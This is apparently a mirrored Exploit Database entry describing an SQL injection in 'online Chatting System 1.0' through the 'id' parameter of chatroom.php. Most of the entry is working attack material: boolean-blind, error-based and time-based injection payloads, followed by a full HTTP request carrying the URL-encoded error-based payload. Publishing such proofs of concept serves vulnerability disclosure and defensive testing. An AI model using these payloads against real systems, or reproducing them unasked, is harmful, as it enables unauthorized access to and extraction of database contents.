online Chatting System 1.0 – ‘id’ SQL Injection

• Exploit Database
• 92 阅读

• 作者： BKpatron
  日期： 2020-05-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48480/

• # Exploit Title: online Chatting System 1.0 - 'id' SQL Injection
  # Google Dork: N/A
  # Date: 2020-05-17
  # Exploit Author: BKpatron
  # Vendor Homepage: https://www.sourcecodester.com/php/14224/online-chatting-system-using-phpmysql.html
  # Software Link:https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlinechatting.zip
  # Version: v1.0
  # Tested on: Win 10
  # CVE: N/A
  # my website: bkpatron.com
  
  # Discription:
   The online Chatting System v1.0 application is vulnerable to SQL injection via the 'id' parameter on the chatroom.php page.
  # vulnerable file : chatroom.php
  http://localhost/chat_system/user/chatroom.php?id=5
  
  Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=5' AND 2674=2674 AND 'NdtA'='NdtA
  
  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id=5' AND (SELECT 8144 FROM(SELECT COUNT(*),CONCAT(0x7171717a71,(SELECT (ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OIwS'='OIwS
  
  Type: time-based blind
  Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
  Payload: id=5' AND 4648=BENCHMARK(5000000,MD5(0x67644874)) AND 'oSJd'='oSJd
  ---
  [INFO] the back-end DBMS is MySQL
  web application technology: Apache 2.4.39, PHP 7.2.18
  back-end DBMS: MySQL >= 5.0
  # Proof of Concept:
  http://localhost/chat_system/user/chatroom.php?id=5
  
  GET /chat_system/user/chatroom.php?id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=mstb1630gvh0f97me7qdh5f7ke
  Connection: keep-alive
  Upgrade-Insecure-Requests: 1
  Cache-Control: max-age=0
  
  id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS
  

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